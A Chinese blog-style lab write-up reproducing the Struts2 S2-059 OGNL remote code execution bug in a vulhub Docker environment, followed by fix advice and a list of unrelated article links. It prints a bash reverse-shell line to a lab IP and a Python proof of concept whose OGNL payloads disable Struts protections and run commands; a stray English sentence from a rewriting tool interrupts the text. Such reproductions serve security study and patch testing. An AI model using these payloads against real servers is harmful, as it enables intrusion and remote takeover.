Struts2 S2-059 远程代码执行漏洞复现是怎么样的
发布时间 - 2023-05-23 00:00:00 点击率:次0x00简介
struts2 是 apache 软件组织推出的一个相当强大的 java web 开源框架,本质上相当于一个 servlet。struts2 基于 mvc 架构,框架结构清晰。通常作为控制器(controller)来建立模型与视图的数据交互,用于创建企业级 java web 应用程序,它利用并延伸了java servlet api,鼓励开发者采用mvc架构。struts2以webwork优秀的设计思想为核心,吸收了struts框架的部分优点,提供了一个更加整洁的mvc设计模式实现的web应用程序框架。
0x01漏洞概述
攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
0x02影响范围
Struts 2.0.0 – Struts 2.5.20
0x03环境搭建
1.本次漏洞环境使用vulhub快速搭建,vulhub下载地址如下:
https://github.com/vulhub/vulhub
cd vulhub-master/struts2/s2-059
2.使用docker-compose快速构建靶场环境
docker-compose up -d
3.启动完成后在浏览器访问http://ip:8080/?id=1 就可以看到测试界面
0x04漏洞复现
1.在浏览器访问http://ip:8080/?id=%25{88*88},可以发现执行的88*88成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。
2.使用poc来反弹shell,反弹shell的payload需要使用base64编码
bash -i >& /dev/tcp/172.16.1.132/9967 0>&1
base64编码网址:
The original sentence is already a complete sentence that is providing a link. If I were to rewrite it, it could be something like:
Here is a link to a webpage
containing information about runtime exec payloads: http://www.jackson-t.ca/runtime-exec-payloads.html.
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2) |
3.修改poc中的payload为自己的payload,然后使用python运行,可以看到反弹了shell
0x05修复建议
1.升级到Struts 2.5.22或更高版本
2. 开启ONGL表达式注入保护措施。
https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable
# Python
# Java
# bash
# mvc
# 架构
# html
# struts
# servlet
# if
# github
# docker
# apache
# http
# https
# 应用程序
# 自己的
# 下载地址
# 可以通过
# 可以看到
# 升级到
# 本质上
# 开源
# 就可以
# 弹了
相关栏目:
【
网站优化151355 】
【
网络推广146373 】
【
网络技术251813 】
【
AI营销90571 】
相关推荐:
Windows10电脑怎么设置虚拟光驱_Win10右键装载ISO镜像文件
Laravel如何使用Laravel Vite编译前端_Laravel10以上版本前端静态资源管理【教程】
微信小程序 wx.uploadFile无法上传解决办法
网站建设保证美观性,需要考虑的几点问题!
如何用IIS7快速搭建并优化网站站点?
济南网站建设制作公司,室内设计网站一般都有哪些功能?
如何制作新型网站程序文件,新型止水鱼鳞网要拆除吗?
网站制作软件免费下载安装,有哪些免费下载的软件网站?
php485函数参数是什么意思_php485各参数详细说明【介绍】
Python结构化数据采集_字段抽取解析【教程】
Edge浏览器如何截图和滚动截图_微软Edge网页捕获功能使用教程【技巧】
rsync同步时出现rsync: failed to set times on “xxxx”: Operation not permitted
Laravel怎么集成Vue.js_Laravel Mix配置Vue开发环境
如何快速生成可下载的建站源码工具?
如何快速生成ASP一键建站模板并优化安全性?
javascript中的数组方法有哪些_如何利用数组方法简化数据处理
网站制作大概多少钱一个,做一个平台网站大概多少钱?
文字头像制作网站推荐软件,醒图能自动配文字吗?
如何在橙子建站上传落地页?操作指南详解
Laravel如何获取当前登录用户信息_Laravel Auth门面使用与Session用户读取【技巧】
手机网站制作平台,手机靓号代理商怎么制作属于自己的手机靓号网站?
如何在云指建站中生成FTP站点?
东莞市网站制作公司有哪些,东莞找工作用什么网站好?
Laravel如何集成第三方登录_Laravel Socialite实现微信QQ微博登录
最好的网站制作公司,网购哪个网站口碑最好,推荐几个?谢谢?
Microsoft Edge如何解决网页加载问题 Edge浏览器加载问题修复
JavaScript Ajax实现异步通信
html5如何实现懒加载图片_ intersectionobserver api用法【教程】
Java遍历集合的三种方式
想要更高端的建设网站,这些原则一定要坚持!
Laravel如何处理和验证JSON类型的数据库字段
厦门模型网站设计制作公司,厦门航空飞机模型掉色怎么办?
Laravel如何实现API版本控制_Laravel版本化API设计方案
如何快速搭建个人网站并优化SEO?
EditPlus中的正则表达式实战(5)
LinuxShell函数封装方法_脚本复用设计思路【教程】
浅谈javascript alert和confirm的美化
Laravel如何使用Eloquent ORM进行数据库操作?(CRUD示例)
Laravel广播系统如何实现实时通信_Laravel Reverb与WebSockets实战教程
免费视频制作网站,更新又快又好的免费电影网站?
网站制作免费,什么网站能看正片电影?
网站视频制作书签怎么做,ie浏览器怎么将网站固定在书签工具栏?
Laravel怎么进行浏览器测试_Laravel Dusk自动化浏览器测试入门
Linux网络带宽限制_tc配置实践解析【教程】
php json中文编码为null的解决办法
公司门户网站制作流程,华为官网怎么做?
Laravel如何实现邮件验证激活账户_Laravel内置MustVerifyEmail接口配置【步骤】
Python进程池调度策略_任务分发说明【指导】
Laravel中间件如何使用_Laravel自定义中间件实现权限控制
Laravel如何将应用部署到生产服务器_Laravel生产环境部署流程

